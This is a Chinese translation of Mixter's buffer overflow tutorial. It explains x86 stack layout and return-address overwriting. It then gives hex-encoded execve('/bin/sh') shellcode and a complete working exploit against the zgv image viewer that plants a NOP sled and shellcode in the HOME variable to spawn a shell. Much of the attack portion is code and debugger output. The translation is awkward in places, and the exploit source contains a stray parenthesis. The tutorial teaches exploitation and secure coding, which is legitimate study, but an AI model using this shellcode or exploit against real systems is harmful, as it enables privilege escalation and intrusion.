說明
之前版本翻譯質量不佳,本人趙陽在這裡對本文的讀者表示深深的歉意。由於本人的疏忽和大意導致您不能很好的讀完這篇文章,同時也對原文內容進行了破壞,也對IDF和FreeBuf造成了一定的不良影響。我在這裡對大家進行道歉!對翻譯文章進行了即時的修改,同時感謝大家的評語!我會吸取此次教訓,保證以後不會在出現類似的事情!請大家原諒!謝謝!
以下為正文
緩衝區溢出會出現在和用戶輸入相關緩衝區內,在一般情況下,這已經變成了現代計算機和網絡方面最大的安全隱患之一。這是因為在程序的基礎上很容易出現這種問題,但是這對於不了解或是無法獲得原始碼的使用者來說是不可能的,很多的類似問題就會被利用。本文就的目的就是教會新手特別是C程式設計師,說明怎麼利用這種溢出環境。- Mixter
1 內存
註:我在這裡的描述方法為:大多數計算機上內存作為進程的組織者,但是它依賴處理器結構的類型。這是一個x86的例子,同時也可以應用在sparc上。
緩衝區溢出的攻擊原理是覆蓋不能重寫隨機輸入和在進程中執行代碼的內存。要了解在什麼地方和怎麼發生的溢出,就讓我們來看下內存是如何組織的。頁是使用和它相關地址的內存的一個部分,這就意味著內核的進程內存的初始化,這就沒有必要知道在RAM中分配的物理地址。進程內存由下面三個部分組成:
代碼段,在這一段代碼中的數據是通過處理器中執行的彙編指令。該代碼的執行是非線性的,它可以跳過代碼,跳躍,在某種特定情況下調用函數。以此,我們使用EIP指針,或是指針指令。其中EIP指向的地址總是包含下一個執行代碼。
數據段,變量空間和動態緩衝器。
堆棧段,這是用來給函數傳遞變量的和為函數變量提供空間。棧的底部位於每一頁的虛擬內存的末端,同時向下運動。彙編命令PUSHL會增加棧的頂部,POPL會從棧的頂部移除項目並且把它們放到寄存器中。為了直接訪問棧寄存器,在棧的頂部有棧頂指針ESP。
2 函數
函數是一段代碼段的代碼,它被調用,執行一個任務,之後返回執行的前一個線程。或是把參數傳遞給函數,通常在彙編語言中,看起來是這樣的(這是一個很簡單的例子,只是為了了解一下概念)。
memory addresscode0x8054321pushl $0x00x8054322call $0x80543a0 0x8054327ret0x8054328leave...0x80543a0popl %eax0x80543a1addl $0x1337,%eax0x80543a4ret
這會發生什麼?主函數調用了function(0);
變量是0,主要把它壓入棧中,同時調用該函數。函數使用popl來獲取棧中的變量。完成後,返回0×8054327。通常情況下,主函數要把EBP寄存器壓入棧中,這是函數儲存的和在結束後在儲存的。這就是幀指針的概念,允許函數使用自己的偏移地址,在對付攻擊時就變的很無趣了。因為函數將不會返回到原有的執行線程。
我們只需要知道棧是什麼樣的。在頂部,我們有函數的內部緩衝區和函數變量。在此之後,有保存的EBP寄存器(32位,4個字節),然後返回地址,是另外的4個字節。再往下,還有要傳遞給函數的參數,這對我們來說沒有意義。
在這種情況下,我們返回的地址是0×8054327。在函數被調用時,它就會自動的存儲到棧中。如果代碼中存在溢出的地方,這個返回值會被覆蓋,並且指針指向內存中的下一個位置。
3 一個可以利用的程序實例
讓我們假設我們要利用的函數為:
void lame (void) { char small[30]; gets (small); printf("%s\n", small); }main() { lame (); return 0; } Compile and disassemble it:# cc -ggdb blah.c -o blah/tmp/cca017401.o: In function 'lame':/root/blah.c:1: the 'gets'; function is dangerous and should not be used.# gdb blah/* short explanation: gdb, the GNU debugger is used here to read the binary file and disassemble it (translate bytes to assembler code) */(gdb) disas mainDump of assembler code for function main:0x80484c8 : pushl %ebp0x80484c9 : movl %esp,%ebp0x80484cb : call 0x80484a0 0x80484d0 : leave0x80484d1 : ret (gdb) disas lameDump of assembler code for function lame:/* saving the frame pointer onto the stack right before the ret address */0x80484a0 : pushl %ebp0x80484a1 : movl %esp,%ebp/* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the memory is allocated 4byte-wise (because the processor uses 32bit words) this is the equivalent to: char small[30]; */0x80484a3 : subl $0x20,%esp/* load a pointer to small[30] (the space on the stack, which is located at virtual address 0xffffffe0(%ebp)) on the stack, and call the gets function: gets(small); */0x80484a6 : leal 0xffffffe0(%ebp),%eax0x80484a9 : pushl %eax0x80484aa : call 0x80483ec 0x80484af : addl $0x4,%esp/* load the address of small and the address of "%s\n" string on stack and call the print function: printf("%s\n", small); */0x80484b2 : leal 0xffffffe0(%ebp),%eax0x80484b5 : pushl %eax0x80484b6 : pushl $0x804852c0x80484bb : call 0x80483dc 0x80484c0 : addl $0x8,%esp/* get the return address, 0x80484d0, from stack and return to that address. you don't see that explicitly here because it is done by the CPU as 'ret' */0x80484c3 : leave0x80484c4 : retEnd of assembler dump.
3a 程序溢出
# ./blahxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<- user inputxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx# ./blahxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user inputxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegmentation fault (core dumped)# gdb blah core(gdb) info registers eax: 0x24 36 ecx: 0x804852f 134513967 edx: 0x1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0x787878 7895160
EBP位於0×787878,這就意味我們已經寫入了超出緩衝區輸入可以控制的範圍。0×78是十六進位的x。該過程有32個字節的最大的緩衝器。我們已經在內存中寫入了比用戶輸入更多的數據,因此重寫EBP,返回值的地址是『xxxx』,這個過程會嘗試在地址0×787878處重複執行,這就會導致段的錯誤。
3b 改變返回值地址
讓我們嘗試利用這個程序來返回lame()來代替它的返回值,我們要改變返回值的地址從0x80484d0到0x80484cb,在內存中,我們有32位元組的緩衝區空間,4個字節保存EBP,4個字節的RET。下面是一個很簡單的程序,把4個字節的返回地址變成一個1個字節字符緩衝區:
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ËËËËËËËËËËË,
# (ret;cat)|./blah
test <- user input
ËËËËËËËËËËË,test
test <- user input
test
我們在這裡使用這個程序運行了兩次這個函數。如果有溢出存在,函數的返回值地址是可以變的,從而改變程序的執行線程。
4 Shellcode
為了簡單,Shellcode使用簡單的彙編指令,我們寫在棧上,然後更改返回地址,使它返回到棧內。使用這個方法,我們可以把代碼插入到一個脆弱的進程中,然後在棧中正確的執行它。所以,讓我們通過插入的彙編代碼來運行一個Shell。一個常見的調用命令是execve(),它可以加載和運行任意的二進位代碼,終止當前執行的進程。手冊中提供我們的用法為:
int execve (const char *filename, char *const argv [], char *const envp[]); Lets get the details of the system call from glibc2: # gdb /lib/libc.so.6(gdb) disas execveDump of assembler code for function execve:0x5da00 : pushl %ebx /* this is the actual syscall. before a program would call execve, it would push the arguments in reverse order on the stack: **envp, **argv, *filename *//* put address of **envp into edx register */0x5da01 : movl 0x10(%esp,1),%edx/* put address of **argv into ecx register */0x5da05 : movl 0xc(%esp,1),%ecx/* put address of *filename into ebx register */0x5da09 : movl 0x8(%esp,1),%ebx/* put 0xb in eax register; 0xb == execve in the internal system call table */0x5da0d : movl $0xb,%eax/* give control to kernel, to execute execve instruction */0x5da12 : int $0x80 0x5da14 : popl %ebx0x5da15 : cmpl $0xfffff001,%eax0x5da1a : jae 0x5da1d <__syscall_error>0x5da1c : ret
結束彙編轉存。
4a 使代碼可移植
傳統方式中,我們必須應用一個策略在內存中完成沒有指導參數的Shellcode,通過給予它們在頁存儲上的精確位置,這只能在編譯中完成。
一旦我們估計了shellcode的大小,我們能夠使用指令jmp和call在執行線程向前或向後到達指定的字節。為什麼使用call?call會自動的在棧內存儲和返回地址,這個返回地址是在下一個call指令後的4個字節。在call運行後放置一個正確的變量,我們間接的把地址壓進了棧中,沒有必要了解它。
0 jmp (skip Z bytes forward)2 popl %esi... put function(s) here ...Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL)Z+5 .string (first variable)
(註:如果你要寫的代碼比一個簡單的shell還要複雜,你可以多次使用上面的代碼。字符串放在代碼的後面。你知道這些字符串的大小,因此一旦你知道第一個字符串的位置,就可以計算他們的相對位置。)
4b Shellcode
global code_start/* we';ll need this later, dont mind it */global code_end.datacode_start:jmp 0x17popl %esimovl %esi,0x8(%esi)/* put address of **argv behind shellcode, 0x8 bytes behind it so a /bin/sh has place */xorl %eax,%eax/* put 0 in %eax */movb %eax,0x7(%esi)/* put terminating 0 after /bin/sh string */movl %eax,0xc(%esi)/* another 0 to get the size of a long word */my_execve:movb $0xb,%al/* execve( */movl %esi,%ebx/* "/bin/sh", */leal 0x8(%esi),%ecx/* & of "/bin/sh", */xorl %edx,%edx/* NULL */int $0x80/* ); */call -0x1c.string "/bin/shX"/* X is overwritten by movb %eax,0x7(%esi) */code_end:
(通過0×0相對偏移了0×17和-0x1c,編譯,反彙編,看看shell代碼的大小。)
這是一個正在運行著的shellcode,雖然很小。你至少要反彙編exit()來調用和依附它(在調用之前)。完成shellcode的正真的意義還包括避免任何二進位0代碼和修改它,二進位代碼不包含控制和小寫字符,這將會過濾掉一些問題程序。大多數是通過自己修改代碼來完成的,如我們使用的mov %eax,0×7(%esi)指令。我們用來取代X,但是在shellcode初始化中沒有。
讓我們測試下這些代碼,把上面的代碼保存為code.S同時把下面的文件保存為code.c:
extern void code_start();extern void code_end();#include <stdio.h>main() { ((void (*)(void)) code_start)(); } # cc -o code code.S code.c# ./codebash#
現在你可以把shellcode轉移到16進位字符緩衝區。最好的方法就是把它列印出來:
#include <stdio.h>extern void code_start(); extern void code_end();main() { fprintf(stderr,"%s",code_start);
通過使用aconv –h或bin2c.pl來解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。
5 寫一個利用
讓我們看看如何把返回地址指向的shellcode進行壓棧,寫了一個簡單的例子。我們將要採用zgv,因為這是可以利用的一個最簡單的方法。
# export HOME=`perl -e ';printf "a" x 2000''# zgvSegmentation fault (core dumped)# gdb /usr/bin/zgv core#0 0x61616161 in ?? ()(gdb) info register esp esp: 0xbffff574 -1073744524
那麼,在故障時間時在棧頂,安全的假設是我們能夠使用這作為我們shellcode的返回地址。
現在我們要在我們的緩衝區前增加一些NOP指令,所以我們沒有必要關注對於內存中的精確開始我們shellcode預測的100%正確。這個函數將會在我們的shellcode之前返回到棧,通過使用NOPs的方式來初始化JMP命令,跳轉到CALL,跳轉到popl,在棧中運行我們的代碼。
記住,棧是這樣的。在最低級的內存地址,ESP指向棧的頂部,初始變量被儲存,即緩衝器中的zgv儲存了HOME環境變量。在那之後,我們保存了EBP和前一個函數的返回地址。我們必須要寫8個字節或是更多在緩衝區後面,用棧中的新的地址來覆蓋返回地址。
Zgv的緩衝器有1024個字節。你可以通過掃視代碼來發現,或是通過在脆弱的函數中搜索初始化的subl $0×400,%esp (=1024)。我們可以把這些放在一起來利用。
5a zgv攻擊實例
/* zgv v3.0 exploit by Mixter buffer overflow tutorial - http://1337.tsx.org sample exploit, works for example with precompiled redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ #include <stdio.h>#include <unistd.h>#include <stdlib.h> /* This is the minimal shellcode from the tutorial */static char shellcode[]="\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d""\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; #define NOP 0x90#define LEN 1032#define RET 0xbffff574 int main(){char buffer[LEN];long retaddr = RET;int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* this fills the whole buffer with the return address, see 3b) */for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr; /* this fills the initial buffer with NOP's, 100 chars less than the buffer size, so the shellcode and return address fits in comfortably */for (i=0;i<LEN-strlen(shellcode)-100);i++) *(buffer+i) = NOP; /* after the end of the NOPs, we copy in the execve() shellcode */memcpy(buffer+i,shellcode,strlen(shellcode)); /* export the variable, run zgv */ setenv("HOME", buffer, 1);execlp("zgv","zgv",NULL);return 0;} /* EOF */ We now have a string looking like this: [ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ] While zgv's stack looks like this: v-- 0xbffff574 is here[ S M A L L B U F F E R ] [SAVED EBP] [ORIGINAL RET] The execution thread of zgv is now as follows: main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
此時,zgv做不到邊界檢查,寫入超出了smallbuffer,返回到main的地址被棧中的返回地址覆蓋。function()離不開/ ret和棧中EIP指針。
0xbffff574 nop0xbffff575 nop0xbffff576 nop0xbffff577 jmp $0x24 10xbffff579 popl %esi 3 <--\ |[... shellcode starts here ...] | |0xbffff59b call -$0x1c 2 <--/0xbffff59e .string "/bin/shX"
讓我們來測試這個應用
# cc -o zgx zgx.c# ./zgxusing address 0xbffff574bash#
5b 編寫攻擊的進一步提示
有很多可以被利用的程序,但儘管很脆弱。但是這有很多的技巧,你可以通過過濾等方式。還有其他的溢出技術,這並不一定要包括改變返回地址或只是返回地址。有指針溢出,函數分配的指針能夠通過一個數據流來覆蓋,改變程序執行的流程。利用返回地址指向shell環境指針,shellcode位於那裡,而不是在棧上。
對於一個熟練掌握shellcode的人來說最根本上的是自己修改代碼,最基本的包含可以列印,非白色的大寫字母,然後修改自己它,把shellcode函數放在要執行的棧上。
在你的shell代碼裡不會有任何二進位零,因為如果它包含了就可能無法正常的工作。但是討論怎麼升華某種彙編指令與其他的命令超出了本文的範圍。我也建議讀其他大數據流,通過aleph1,Taeoh Oh和mudge來寫的。
5c 重要注意事項
你將不能在Windows 或是Macintosh上使用這個教程,不要和我要cc.exe和gdb.exe。
6 結論
我們已經知道,一旦用戶依賴存在的溢出,這就會用去90%的時間,即使利用起來有困難,同時要有一些技能。為什麼寫這個攻擊很重要呢?因為軟體企業是未知的。在軟體緩衝區溢出方面的漏洞的報告已經有了,雖然這些軟體沒有更新,或是大多數用戶沒有更新,因為這個漏洞很難被利用,沒有人認為這會成為一個安全隱患。然後,漏洞出現了,證明能夠利用,這就要急於更新了。
作為程式設計師,寫一個安全的程序是一個艱巨的任務,但是要認真的對待。在寫入伺服器時就變的更加值得關注,任何類型的安全程序,或是suid root的程序,或是設計時使用root來運行,如特別的帳戶或是系統本身。應用範圍檢測,分配動態緩衝器,輸入的依賴性,數據大小,小心for,while等。收集數據和填充緩衝區,以及一般處理用戶很關心的輸入循環是我建議的主要原則。
目前使用非可執行的棧,suid包,防衛程序來核對返回值,邊界核查編輯器等技術來阻止溢出問題,從而在安全行業取得了顯著的成績。你應該可以使用這些技術在特定的情況下,但是不要完全依賴他們。如果你運行vanilla的UNIX發行版時,有溢出保護或是防火牆/IDS,但是不要假設很安全。它不能保證安全,如果你繼續使用不安全的程序,因為所有安全程序是軟體的同時包含自身漏洞的,至少他們不是完美的。如果你頻繁的使用更新和安全措施,你仍然不能得到渴望的安全,你只能希望是安全的。